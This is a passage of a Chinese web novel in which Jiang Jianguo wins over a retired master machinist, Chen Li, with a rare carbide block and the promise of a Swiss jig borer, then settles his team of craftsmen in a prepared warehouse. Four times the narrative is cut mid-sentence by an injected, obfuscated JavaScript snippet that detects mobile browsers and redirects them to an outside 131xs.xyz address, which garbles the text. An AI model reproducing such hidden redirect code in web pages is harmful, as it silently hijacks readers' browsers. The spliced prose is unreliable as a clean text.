他看着那块龙飞凤舞的招牌,眼神复杂得难以言喻,“他现在,已经是陈老板了。” 是啊,陈老板。 孙大海抱着手臂,靠在车窗边,铜铃般的眼睛里闪烁着审视的光。 他看得出来,这家饭馆的风水很好,气很旺。 那个叫“陈一刀”的家伙,就算放下了手中的镗刀,拿起菜刀,也一样是个狠角色。 赵立本则显得局促不安。 他刚刚从泥潭里被拉出来,身上还带着那股绝望的气息,与眼前的富丽堂皇格格不入。 他下意识地整理了一下自己那件洗得发白的衬衫,仿佛即将要去拜见一位高不可攀的大人物。 “一个叛徒。” 刘福生低声咕哝了一句,声音里满是鄙夷。 在他看来,放弃了赖以为生的手艺,跑去开饭馆挣大钱,这本身就是一种对过去的背叛。 江建国熄了火,拔下车钥匙。 他没有急着下车,只是静静地看着那座饭馆,目光深邃,仿佛要穿透那面墙壁,看到那个男人的内心深处。 “走吧。” 他开口,声音平静无波,“去尝尝,镗工宗师炒出来的菜,是什么味道。” 一行六人下了车。 他们身上那股浓烈的机油味和钢铁气息,与饭馆的氛围显得格格不入,立刻引来了门口迎宾小姐警惕的目光。 特别是走在最前面的孙大海,他那山峦般的身形和凶神恶煞的气场,简直就像是来砸场子的。 “几位,吃饭吗?” 迎宾小姐勉强挤出一丝职业微笑,眼神里却满是戒备。 江建国微微一笑,如沐春风:“吃饭。找你们陈老板,订个位子。” “陈老板在后厨忙,几位要是没预定,恐怕……” “你就跟他说,奉天重机厂的老朋友来了,想跟他喝一杯。” 江建国打断了她的话,语气温和,却带着一种不容置疑的穿透力。 迎宾小姐愣了一下,看着江建国那双仿佛能洞悉一切的眼睛,不知为何,竟不敢再多说半句废话,连忙转身朝后厨跑去。 大厅里人声鼎沸,饭菜的香气混杂着酒气,扑面而来。 江建国等人被安排在一张靠窗的空桌坐下,立刻成了整个大厅的焦点。 周围的食客纷纷投来好奇的目光,对着他们这群气质彪悍、穿着朴素的“怪人”指指点点。 孙大海等人如坐针毡,只有江建国,神态自若地拿起茶壶,给每个人都倒上了一杯热茶。 “别急,” 他端起茶杯,轻轻吹了口气,“鱼儿咬钩之前,总要先闻闻味儿。” 话音刚落,一个穿着干净白色厨师服的中年男人,从后厨走了出来。 他约莫四十出头,身材中等,相貌普通,只是那双眼睛,锐利得像鹰。 他的手上没有老茧,指甲修剪得干干净净,脸上挂着生意人恰到好处的热情笑容。 他一边走,一边还跟相熟的客人点头打着招呼,举手投足间,满是八面玲珑的精明。 他就是陈一刀,陈立。 “哎呀,几位老哥,稀客稀客!” 陈立人未到,声音先到,脸上堆满了笑,“刚才服务员说有重机厂的朋友来,我还以为是谁呢。您几位是……” 他的目光在孙大海、路承舟等人脸上一一扫过,眼神里带着一丝恰到好处的困惑,仿佛真的在努力回忆。 路承舟张了张嘴,想说什么,却**建国用眼神制止了。 江建国站起身,同样微笑着伸出手:“陈老板,久仰大名。我叫江建国,这几位,都是你的老同事。” “江总,幸会幸会。” 陈立热情地握了握手,随即又一脸歉意地看向其他人,“几位老哥,真对不住,我这人记性差,您看……” 他演得天衣无缝。 那副模样,仿佛已经彻底忘了工厂,忘了镗刀,忘了一切与“陈一刀”有关的过去。 “忘了好。” 江建国脸上的笑容不变,说出的话却像一把锥子,狠狠扎了过去,“过去那些苦哈哈的日子,不记也罢。哪有现在当陈老板威风?听说陈老板这饭馆,一天挣的钱,比咱们在车间里吭哧一个月还多。” 陈立脸上的笑容,出现了一丝微不可察的僵硬。 他那双锐利的眼睛,第一次真正地、认真地,落在了江建国的脸上。 “江总说笑了,都是混口饭吃。” 他打了个哈哈,不动声色地抽回了手,然后拍了拍巴掌,高声喊道,“服务员,把我珍藏的那瓶茅台拿过来!今天我请客,给几位老哥接风!” 他想用酒,用钱,用一顿饭,把这段不请自来的“过去”,客客气气地打发走。 江建国却摇了摇头。 “酒,我们自己带了。” 他从脚边那个黑色的人造革提包里,拿出了一样东西,轻轻地,放在了桌上。 那不是酒。 那是一块用红布包裹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341851|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着的、拳头大小的金属块。 当江建国将红布揭开时,那块金属露出了它的真容。 它通体呈现出一种深沉的、近乎黑色的光泽,表面光滑如镜,却又散发着一股令人心悸的、蛮横不讲理的“硬”气。 陈立的瞳孔,猛地一缩! 他脸上的笑容,在看到那块金属的瞬间,彻底凝固了。 那是一种混杂着震惊、狂热、乃至恐惧的复杂神情,仿佛一个戒了毒的瘾君子,突然又看到了纯度最高的**。 “钨……钨钛钴硬质合金……” 他的嘴唇翕动着,几乎是下意识地,吐出了这个名字。 这种合金,是刀具材料里的王者,是工业皇冠上的钻石! 它硬度奇高,脆性极大,加工难度堪称地狱级别! 寻常车床,刀具碰上它,不是崩刃就是断刀! 而镗孔,在这地狱级别的难度上,还要再翻几倍! “陈老板好眼力。” 江建国淡淡一笑,手指在那块合金上轻轻敲了敲,发出一阵清脆悦耳、如同金石相击的声音。 “我们想在这块料上,镗一个深度一百毫米,直径十毫米的孔。公差要求,正负一个丝。” 一个丝! 0.01毫米! 在硬质合金上镗一个深度是直径十倍的深孔,还要保证0.01毫米的精度! 这他妈已经不是加工了! 这是在拿指甲刀给钻石修脚! 陈立的呼吸,瞬间变得粗重起来。 他的目光,像是被磁石吸住的铁屑,死死地钉在那块黑色的合金上,再也无法移开分毫。 他那双干净的手,不受控制地微微颤抖起来。 他仿佛闻到了那股熟悉的、呛人的切削液的味道。 他仿佛听到了镗刀切入金属时,那令他灵魂都为之战栗的、美妙的尖啸! “江总,你……你这是什么意思?” 陈立的声音变得有些沙哑,他强迫自己移开目光,却显得无比艰难,“我就是个开饭馆的,不懂你们说的这些东西。” “是吗?” 江建国嘴角的弧度,变得玩味起来。 “我听说,二十年前,奉天重机厂从德国进口了一台当时最先进的坐标镗床。结果在卸车的时候,主轴套筒不小心磕碰了一下,产生了一道只有头发丝粗细的形变。德国专家当场断言,这台机床废了,只能运回国大修。” “后来,是一个年轻人,把自己关在车间里三天三夜。他没用任何先进仪器,就凭一双手,一把自制的金刚石镗刀,硬生生地,将那根主轴套筒的精度,给‘盘’了回来。误差,不到半个丝。” 江建国看着陈立,一字一顿地问道:“陈老板,你开饭馆这么久,手艺,应该还没生疏吧?” 第70章 酒是英雄胆,刀是匠人心 整个陈记食府的喧嚣,仿佛被一只无形的手,骤然扼住了咽喉。 食客们的谈笑声、碗筷的碰撞声、后厨传来的炒勺声,都在一瞬间被抽离,世界安静得只剩下沉重的呼吸与擂鼓般的心跳。 所有人的目光,都不由自主地汇聚到了这张诡异的餐桌上。 桌子的中央,那块闪烁着幽暗光泽的硬质合金,如同一颗沉默的心脏,散发着冰冷而致命的诱惑。 陈立的脸色,一阵青,一阵白。 他脸上的肌肉因为极力克制而微微抽搐,那副八面玲珑的“陈老板”面具,在江建国那番诛心之言的冲击下,已经布满了细密的裂痕。 他强迫自己挺直腰杆,试图用商人的圆滑来抵御那段滚烫的、如同烙印般刻在骨子里的记忆。 “江总,你这是抬举我了。” 陈立的声音干涩沙哑,他扯动嘴角,挤出一个比哭还难看的笑容,“什么‘陈一刀’,都是过去的老黄历了,当不得真。我现在就是个开饭馆的厨子,掂勺还行,你说的那些,我早就忘干净了。” 他说着“忘了”,那双眼睛却像被焊**一样,死死地盯着那块钨钛钴合金,眼底深处,一簇压抑了三年的火苗,正被这块天外来客般的材料,重新点燃,并且越烧越旺。 江建国笑了笑,没有反驳。 他只是伸出手指,用指甲在那块合金上轻轻一划。 “刺啦”一声极其轻微,却又尖锐得足以刺穿耳膜的声响,让陈立的身体猛地一颤。 那声音,对于在场的其他人来说,不过是一点微不足道的噪音。 但对于陈立,这无异于天魔的梵唱,是世间最毒的药,也是最美的诗。 那是金刚石划过硬质合金的声音,是这个星球上最硬的两种物质碰撞时,发出的不屈的嘶鸣! “可惜了。” 江建国收回手,语气里带着一丝恰到好处的惋惜,“这么好的料子,看来只能找个次一点的师傅凑合一下了。虽然精度上肯定要差不少,但也没办法,谁让真正的高手,已经金盆洗手,只愿意跟油盐酱醋打交道了呢。” 这话,轻飘飘的,却比任何激将法都更加恶毒。 它否定了一个匠人存在的全部意义。 “你!” 陈立的胸膛剧烈地起伏着,他死死地攥着拳头,手背上青筋暴起。 那双拿惯了炒勺的、养得白白净净的手,此刻竟因为用力而微微颤抖。 一旁的孙大海,始终抱着双臂冷眼旁观。 此刻,他那洪钟般的声音,毫无征兆地响了起来,带着一丝毫不掩饰的轻蔑。 “陈立,别给老子装蒜。” 孙大海甚至没有看他,只是斜睨着那块合金,冷哼一声:“当年在厂里,你小子眼睛长在头顶上,说老子的铸件有砂眼,影响你下刀。怎么,现在放下镗刀,拿起菜刀,连胆子也跟着一起扔进泔水桶里了?” 这声怒喝,如同一记重锤,狠狠砸碎了陈立最后的伪装! “孙大海!” 陈立猛地转头,双目赤红,那股被生意场磨平了的、属于顶尖宗师的桀骜与戾气,在这一刻轰然爆发,“**说谁是孬种!” “谁应声,就说谁!” 孙大海寸步不让,眼中凶光毕露。 整个大厅的食客,都被这突如其来的剑拔**张吓得噤若寒蝉。 陈立的呼吸如同拉风箱一般,他死死地盯着孙大海,又缓缓地,将目光移回到那块让他魂牵梦萦的合金上。 三年了。 他以为自己已经习惯了这种生活。 每天迎来送往,在酒桌上推杯换盏,在算盘上计较得失。 他以为自己早已忘记了机床的轰鸣,忘记了切削液呛人的味道,忘记了当镗刀精准地切入工件时,那种如同神明般掌控一切的、无与伦比的快感。 可今天,这个叫江建国的年轻人,还有孙大海这个老对头,就像两个不讲道理的强盗,粗暴地撕开了他用金钱和烟火气伪装起来的伤疤,将那颗早已冷却、却未曾死去的心,重新扔回了淬火的油槽! 铁屑,原来比炭火还要烫心。 陈立缓缓地闭上了眼睛,再睁开时,他身上那股属于“陈老板”的圆滑与精明,已经荡然无存。 取而代之的,是一种如同出鞘利刃般的锋锐与决绝。 他不再看任何人,只是径直走回后厨。 所有人都愣住了。 刘福生等人面面相觑,以为他这是要临阵脱逃。 只有江建国,依旧稳坐钓鱼台,嘴角噙着一抹智珠在握的微笑。 片刻之后,陈立从后厨走了出来。 他脱下了那身雪白的厨师服,换上了一件洗得有些发旧的蓝色工装。 他的手里,没有拿酒,也没有拿菜。 他提着一个长条形的、被油布包裹得严严实实的木匣。 他走到桌前,将木匣“砰”的一声,重重地放在桌上。 那声音不大,却让所有人的心都跟着一跳。 他解开油布,打开木匣。 一整排大小不一、形状各异的镗刀,静静地躺在红色的天鹅绒衬里上。 每一把刀的刀头,都闪烁着幽蓝色的、令人心悸的寒光。 它们被保养得极好,刀身上没有一丝一毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341852|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的锈迹,仿佛不是尘封了三年的工具,而是随时准备饮血的兵器。 这是他的刀。 是“陈一刀”的命。 “酒,可以不喝。” 陈立的声音,恢复了往日的平静,却多了一种不容置疑的冷硬,“活,我可以接。” 他伸出三根手指。 “但是,我有三个条件。” “说。” 江建国言简意赅。 “第一,这块料,我要了。不管活干成干不成,它都归我。” 陈立的眼中,闪动着一种近乎贪婪的狂热。 对于一个镗工宗师而言,这种级别的材料,是比黄金和美女更具诱惑力的珍宝。 “可以。” 江建国点头。 “第二,我要一台机床。不是你们那些破铜烂铁。” 陈立的目光扫过路承舟等人,带着一丝傲慢,“我要瑞士产的‘西普’坐标镗床,精度要在半个丝以内。没有这台机床,神仙也干不了这个活。” 路承舟和丁建中等人顿时倒吸一口凉气。 西普坐标镗床! 那可是全世界最顶尖的精密机床,是工业设备里的劳斯莱斯! 别说现在,就算是在当年最鼎盛的时期,整个奉天市也找不出三台! 每一台都堪称国宝,想弄到手,简直是痴人说梦! 江建国却连眼睛都没眨一下。 “可以。一个月之内,送到你面前。” 陈立瞳孔一缩,显然没料到江建国会答应得如此干脆。 他深深地看了江建国一眼,似乎想从他脸上看出吹牛的痕迹,但只看到了一片深不见底的平静。 他压下心中的震惊,说出了最后一个,也是最苛刻的条件。 “第三,” 他指了指自己那家生意兴隆的饭馆,“我这摊子生意,不能扔。你们的活,我只在晚上干。白天,我还是陈老板。你们的人,你们的事,不准踏进我的饭馆一步。” 他这是要划清界限。 他愿意重拾屠龙之技,却不愿再踏入那片让他心灰意冷的江湖。 这,是他最后的底线与骄傲。 “成交。” 江建国站起身,没有丝毫犹豫,向陈立伸出了手。 陈立看着那只手,沉默了片刻,最终也伸出手,与他重重一握。 两只手握在一起的瞬间,点将台第三战,功成! 江建国知道,他得到的,不仅仅是一个镗工宗师。 他得到的,是一把尘封了三年,却依旧锋利得足以洞穿一切的…… 绝世之刃! 第71章 狂人之约,惊世豪赌 当那两只手松开时,一场无形的风暴便悄然平息。 陈立的眼神,在那一瞬间完成了从“刀”到“鞘”的转变。 他身上那股锐利到足以割伤空气的锋芒,被他以一种近乎自虐的强大控制力,重新收敛回了那副名为“陈老板”的温和皮囊之下。 他看都没看桌上那个装着绝世兵刃的木匣,只是随手将油布重新盖上,动作随意得仿佛那不是他视若性命的珍宝,而是一包寻常的厨房用具。 “几位慢用。” 他脸上重新堆起了生意人滴水不漏的笑容,对着江建国等人微微颔首,随即转身,用不大不小的声音喊道,“后厨的,打起精神来!八号桌的松鼠鳜鱼催了三次了!” 一声吆喝,便将自己从一场惊心动魄的豪赌,拉回了这片属于他的、人间烟火的战场。 他甚至没有再多看江建国一眼,就那么径直走回了后厨,将那扇隔绝了两个世界的门,轻轻带上。 大厅里压抑的气氛,随着他的离去而轰然瓦解。 食客们面面相觑,交头接耳,却终究没弄明白,刚才那场剑拔**张的对峙,究竟因何而起,又为何如此诡异地结束。 江建国一行人,在这片重新变得喧闹的环境里,反而成了最沉默的孤岛。 “走吧。” 江建国站起身,将那块价值连城、足以引发一场小型工业地震的硬质合金,连同陈立的那个木匣,一同装进了他那个毫不起眼的人造革提包里。 没有人说话。 从走出陈记食府,到重新坐上那辆破旧的卡车,车厢内的空气,仿佛凝固成了铁块,沉重得让人喘不过气。 直到卡车引擎发出一声疲惫的轰鸣,缓缓驶离这片繁华之地,那块凝固的铁,才终于被一声粗重的冷哼给砸开了一道裂缝。 “疯了!我看你是**疯了!” 孙大海那双铜铃般的眼睛死死瞪着江建国,声音里充满了难以置信的暴躁,仿佛一头被激怒的雄狮,“西普坐标镗床?你知道那是什么玩意儿吗?就敢张嘴胡咧咧!” 他这一嗓子,彻底点燃了车厢内压抑已久的引线。 “江总,老孙说的……不是没道理。” 路承舟的脸色前所未有的凝重,他扶了扶眼镜,镜片下的双眼充满了忧虑,“那不是钱能解决的问题。瑞士西普公司生产的精密机床,在整个西方世界都属于战略物资,对我们是严格禁运的。别说是买,就是想看一眼,都得有通天的门路!” 他顿了顿,声音愈发干涩:“当年咱们奉天重机厂能分到一台,那是国家层面花了九牛二虎之力,走了多少外交渠道才换回来的宝贝疙瘩,是真正的国宝!现在你想在一个月内,凭空变出一台来……这……” 他没有再说下去,但那未尽之言里的意思,已经再明白不过。 这根本就是天方夜谭! “是啊江总,这牛皮吹得太大了,到时候交不出东西,那姓陈的还不翻了天?” 刘福生也忍不住开了口,他虽然不懂什么叫“西普”,但光看路承舟和孙大海的反应,就知道这事儿的难度,恐怕比让孙大海戒酒还大。 丁建中和钱德禄没有说话,但他们紧锁的眉头,已经表明了内心同样的不安。 就连刚刚重获新生的赵立本,眼中也闪烁着困惑与担忧。 他虽然对江建国有一种近乎盲目的信任,可这件任务的难度,显然已经超出了他一辈子的人生经验。 一时间,整个车厢内,质疑、忧虑、不安,各种负面情绪交织在一起,如同一张无形的大网,将江建国牢牢包裹在中央。 这是团队组建以来,他第一次面临如此集中的、来自核心成员的信任危机。 然而,面对这一切,江建国只是平静地开着车。 他的脸上,没有半分被质疑的窘迫,更没有一丝一毫的慌乱。 他握着方向盘的手,稳如磐石,目光平视着前方被车灯撕开的黑暗,仿佛外界的一切纷扰,都无法侵入他内心的方寸之地。 直到孙大海的耐心耗尽,几乎要咆哮起来时,他才终于淡淡地开了口。 “你们觉得,请动‘陈一刀’这尊神,用什么做代价最合适?” 他的声音不大,却像一柄重锤,精准地敲在了每个人的心上。 车厢里瞬间安静了下来。 是啊,用什么? 用钱?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341853|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陈立自己就是个日进斗金的老板,钱对他来说,只是一个数字。 用情怀? 他三年前就亲手埋葬了过去,心硬如铁。 用威胁? 那种桀骜不驯的孤狼,宁可玉碎,也绝不为瓦全。 对于一个已经封刀上岸的绝顶宗师而言,唯一能让他动心的,只有两样东西。 一是举世无双的材料。 二是能配得上这块材料、配得上他那身本事的…… 绝世神兵。 江建国给出了前者,也承诺了后者。 这两样东西,就像两把精准的钥匙,一把打开了他尘封的技艺之门,另一把,则直接捅进了他那颗早已冷却的匠心! “可……可是,承诺了做不到,又有什么用?” 路承舟依旧无法释怀。 江建国笑了。 他透过后视镜,扫了一眼车厢内这几张神情各异的脸,那眼神深邃而又充满了某种难以言喻的强大自信。 “谁告诉你们,我做不到?” 一句轻描淡写的反问,却蕴含着雷霆万钧的力量! 整个车厢,再一次陷入了死一般的寂静。 所有人都**建国这句狂到没边的话给震住了。 那不是在吹牛,更不是在狡辩,那是一种陈述,一种仿佛在诉说“太阳会从东方升起”一般、理所当然的陈述! 他凭什么? 他到底是谁? 这个谜一样的年轻人,身上到底还藏着多少深不见底的秘密? “一个月后,你们会看到的。” 江建国没有再做任何解释,他只是轻轻踩下油门,让卡车的速度又快了几分。 他将话题轻轻一转,仿佛那台足以让整个奉天工业界为之震动的国宝重器,在他眼中不过是一件无足轻重的小事。 “现在,不说这些。” “忙了一天,大家都累了。我先带你们去个地方。” 他的声音,在夜风中显得格外温和。 “一个能让你们安心住下,洗个热水澡,睡个安稳觉的地方。” “一个属于我们自己的……家。” 第72章 远征之始,安身之所 夜色如浓墨,将城市的疮疤与繁华一并吞没。 破旧的卡车穿行在迷宫般的街道,车灯划开沉寂的黑暗,像一柄孤独的手术刀,剖开这工业巨兽沉睡的肌体。 车厢内的空气,在经历了那场惊世豪赌之后,变得粘稠而凝重,质疑与震撼交织成一张无声的网,紧紧攫住了每一个人。 那句“一个月后,你们会看到的”,如同一颗投入深潭的巨石,余波至今未平。 它所带来的冲击,远比之前任何一次都更加猛烈,因为它挑战的,是这群宗师们穷尽一生所建立起来的、关于现实与可能的认知边界。 孙大海粗重的呼吸声,像一头被困在笼中的猛虎,充满了压抑的烦躁。 路承舟则紧锁眉头,目光穿透车窗,似乎想从这片飞速**的黑暗中,寻找到一丝能够支撑江建国狂言的逻辑。 而江建国,他依旧是那个舵手。 他神情专注,目光沉静,仿佛手中掌控的不是一辆随时可能散架的老旧卡车,而是一艘正驶向新大陆的巨轮。 外界的风暴,内心的波澜,都无法撼动他分毫。 卡车最终驶离了主路,拐进了一条更为偏僻的支线。 道路两旁的景象愈发荒凉,高大的厂房变成了低矮的仓库,最后,连仓库也消失了,取而代之的是一片被铁丝网圈起来的、巨大的废弃货场。 “这是……” 路承舟看着窗外那片在月光下显得鬼气森森的巨大黑影,心头升起一丝不祥的预感。 卡车在货场深处一座巨大的红砖仓库前停了下来。 这座仓库看起来有些年头了,墙体上爬满了不知名的藤蔓,几扇高窗的玻璃碎裂了大半,露出黑洞洞的豁口,像一只沉默巨兽空洞的眼窝。 这里,比马光头的破厂房还要荒凉。 “下车吧。” 江建国熄火,拔出钥匙,声音打破了车厢内的死寂。 众人怀着满腹的疑虑下了车。 夜风吹过,卷起地上的尘土和一股铁锈与**植物混合的气味,让人很不舒服。 “江总,你说的‘家’……就是这儿?” 孙大海环顾四周,瓮声瓮气地问道,语气里带着毫不掩饰的失望与嘲弄。 他宁愿相信江建国是在吹牛,也不愿相信他会把他们带到这么一个鸟不拉屎的鬼地方。 江建国没有回答。 他走到那扇锈迹斑斑的巨大铁门前,从口袋里掏出一大串钥匙,熟练地挑出一把,插入了那把同样锈迹斑斑的大锁。 “咔哒。” 一声清脆的开锁声,在寂静的夜里显得格外清晰。 他用力推开沉重的铁门,一股陈腐的、封闭已久的空气扑面而来。 他率先走了进去,摸索着在墙上按了一下。 “啪嗒。” 几盏悬挂在高高穹顶下的老式防爆灯,延迟了片刻,然后一盏接一盏地亮了起来。 昏黄的光线,瞬间驱散了仓库内的黑暗,将一个巨大得超乎想象的空间,呈现在众人面前。 所有人的呼吸,都在这一刻停滞了。 这里,根本不是什么废弃仓库! 地面是平整厚实的水泥地,被打扫得一尘不染,甚至能看到淡淡的**光泽。 巨大的空间被清晰地划分成了几个区域,最中央的区域空旷无比,足以容纳一台重型吊车和数台大型机床。 而靠墙的一侧,则整齐地码放着一些崭新的工具柜、工作台和几台小型的台钻、砂轮机。 所有的东西,都蒙着一层薄薄的防尘布,静静地等待着它们的主人。 这哪里是废墟? 这分明是一座虚位以待的、只等将军入驻的兵工厂! “这……这是……” 路承舟震惊得说不出话来,他快步走上前,掀开一个工具柜上的防尘布,手指抚过冰冷的钢制柜门,眼神里充满了狂热与不可思议,“全新的!都是全新的!” 孙大海等人也冲了进去,他们像一群发现了宝藏的孩子,东摸摸,西看看。 刘福生一拳砸在厚实的工作台上,发出“咚”的一声闷响,脸上满是兴奋的红光。 钱德禄和丁建中则仔细地检查着墙上的电缆线路和预留的动力接口,越看越是心惊。 这里的布局,完全是按照一个现代化标准车间来设计的! 江建国看着他们激动的样子,只是微微一笑,随即指了指仓库尽头的一道小门。 “车间是用来干活的,那边,才是给你们安家的地方。” 众人一愣,跟随着江建国穿过那道小门。 门后是一条长长的走廊,走廊两侧,是一间间独立的房间。 江建国随手推开一间。 房间不大,但窗明几净。 里面摆着一张崭新的单人床,床上铺着干净的军绿色被褥,叠成了整齐的豆腐块。 床边是一张书桌,一把椅子,还有一个衣柜。 简单,却又无比周到。 “这里一共有十个房间,你们一人一间,先挑。” 江建国说道,“走廊尽头是盥洗室和公共澡堂,我让人提前烧好了热水。厨房在那边,米面粮油都备好了,今天太晚,大家先随便弄点吃的对付一下。” 他的声音平静而温和,却像一记记重锤,狠狠地砸在孙大海、赵立本这些老匠人的心上。 赵立本再也忍不住了。 他颤抖着伸出手,轻轻抚摸着那床干净得没有一丝油污的被子,眼泪毫无征兆地夺眶而出。 这三年来,他睡的是漏风的工棚,盖的是捡来的破棉絮。 一个能遮风挡雨的屋子,一张能安稳睡觉的床,对他而言,就是天堂。 孙大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341854|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海这个铁塔般的汉子,眼眶也红了。 他看着那整齐的被褥,想起了自己那个四处漏风的家,想起了自己那个整日以泪洗面的婆娘。 他猛地转过身,用那双比砂轮还粗糙的手背,狠狠抹了一把脸。 他们这些人,漂泊半生,一身傲骨,何曾被人如此郑重地对待过? 江建国给他们的,不仅仅是一个住处。 他给他们的,是尊严。 “都别愣着了。” 江建国拍了拍手,打破了这感伤的气氛,“路工,你负责登记一下大家的身材尺码,明天我让人送一批新的工作服和生活用品过来。老孙,老刘,你们几个力气大的,去车上把咱们今天请回来的‘宝贝’搬进来。” 他三言两语,便将任务分配下去,那份从容与掌控力,让人不由自主地信服。 众人轰然应诺,压抑了一路的阴霾与疑虑,在这一刻被这片看得见、摸得着的“家”彻底冲散。 他们心中重新燃起了久违的、名为希望的火焰。 当陈立那个沉重的木匣和那块神秘的硬质合金被小心翼翼地抬进车间,安放在最中央的工作台上时,所有人都围了过来。 昏黄的灯光下,那块黑色的合金静静地躺着,仿佛一头蛰伏的远古凶兽,散发着令人心悸的气息。 而它旁边那个木匣,则像封印着绝世神兵的剑鞘。 它们,将是“远征”工厂的第一块基石。 而那台远在天边、被所有人认为绝不可能得到的西普坐标镗床,则是悬在基石之上、用以激活这一切的惊雷。 江建国看着眼前这幅画面,看着这群被他从地狱里捞出来的神魔,看着他们眼中重新亮起的光,他知道,远征的号角,在今夜,才算真正吹响。 他没有再打扰众人,独自一人走出了仓库,来到空旷的货场上。 他从口袋里摸出一包烟,点燃了一支,深深地吸了一口。 烟雾在清冷的月光下缭绕、散去。 他仰头望着天际那轮残月,眼神深邃如海。 一个月。 一台禁运的国宝重器。 这确实是一场,在所有人看来,都毫无胜算的惊世豪赌。 但他江建国,从不做没有把握的事。 他缓缓吐出烟圈,从怀里,摸出了一个巴掌大小的、样式古旧的卫星电话。 在这片被世界遗忘的角落里,这东西,比那台西普镗床还要科幻。 他按下一串烂熟于心的号码,将电话放到了耳边。 漫长的嘟声后,电话被接通了。 “是我。” 江建国对着话筒,用一种与之前截然不同的、流利而纯正的伦敦腔英语,平静地说道。 “我需要一台机床,瑞士西普,型号640。一个月内,送到奉天。” “钱,不是问题。” 第73章 王牌的底牌 电话那头,是一片深海般的寂静。 片刻之后,一个沉稳的、带着一丝金属质感的男声响起,同样是无可挑剔的伦敦腔,却比江建国的声音多了一份久经上位的威严。 “知道了。” 没有多余的问询,没有对这件离谱要求的丝毫质疑,只有两个字,却蕴含着雷霆万钧的能量。 “货到付款。” 江建国补充了一句,像是在谈一笔最寻常不过的生意。 “你的信用,比钱更值钱。” 对方的声音里,第一次透出了一丝极淡的笑意,“注意安全,‘船长’。” “你也是,‘管家’。” 江建国挂断了电话,将那部与这个时代格格不入的通讯器重新揣回怀中,动作行云流水。 夜风清冷,吹拂着他额前的碎发。 他站在空旷的货场中央,仰望着那轮悬于工业废墟上空的残月,眼神幽邃,仿佛倒映着一片不属于这个世界的星空。 船长。 一个早已被他埋葬在另一个时空里的代号,一个背负了太多荣耀与血腥的名字。 他原以为,这一世,他只会是江建国,一个一心只想重铸大国重工的疯子。 可他终究还是拨通了那个号码。 因为他比任何人都清楚,想要在这片贫瘠的土地上,凭空建起一座工业文明的通天塔,光有图纸和神匠是不够的。 你还需要一张,能掀翻牌桌的底牌。 他掐灭了烟头,转身向那座灯火通明的巨大仓库走去。 当他重新踏入那扇铁门时,门外的那个“船长”便消失了,取而代之的,是那个眼神温和、嘴角带着一丝浅笑的“江总”。 仓库内的景象,让他不由得莞尔。 曾经的颓唐与疑虑,早已被一扫而空。 此刻的“远征”车间,像一个刚刚注入了滚烫铁水的铸模,充满了灼热而蓬勃的生命力。 孙大海正赤着膀子,露出古铜色的虬结肌肉,指挥着刘福生和丁建中,将几张沉重的工作台按照他设想的布局,搬运到指定位置。 他那洪钟般的嗓门在空旷的车间里回荡,每一个字都透着一股压抑不住的兴奋。 “这边!再往左边挪半尺!对!老子以后玩铁水的地方,就得这么敞亮!” 路承舟则戴着他的眼镜,手里拿着一本不知从哪翻出来的笔记本,正一丝不苟地检查着墙壁上的动力电箱。 他时不时地记录着什么,眉头紧锁,那副专注的神情,仿佛不是在查看线路,而是在解剖一件精密的艺术品。 钱德禄默默地拿起扫帚,将搬运过程中带起的一些灰尘,仔细地清扫干净,动作认真得像是在进行某种神圣的仪式。 而赵立本,这位沉默了一辈子的老匠人,则在厨房里忙碌着。 他找到了仓库里备好的面粉,正笨拙而又认真地和着面。 那双曾淬炼过无数神兵利器的手,此刻沾满了白色的面粉,动作间却透着一股让人心安的踏实。 一股简单的、属于食物的香气,开始在弥漫着机油与钢铁气息的空气中,悄然蔓延。 这,是家的味道。 江建国没有打扰他们,只是静静地靠在门边看着。 他知道,这群被时代抛弃的雄狮,心中那团名为“希望”的火焰,已经被彻底点燃了。 他们需要的不是命令,而是一个能让他们肆意挥洒才能与热血的战场。 “江总。” 路承舟不知何时走了过来,他推了推眼镜,镜片后的目光复杂得难以言喻。 他看着江建国,欲言又止。 “想问那台机床的事?” 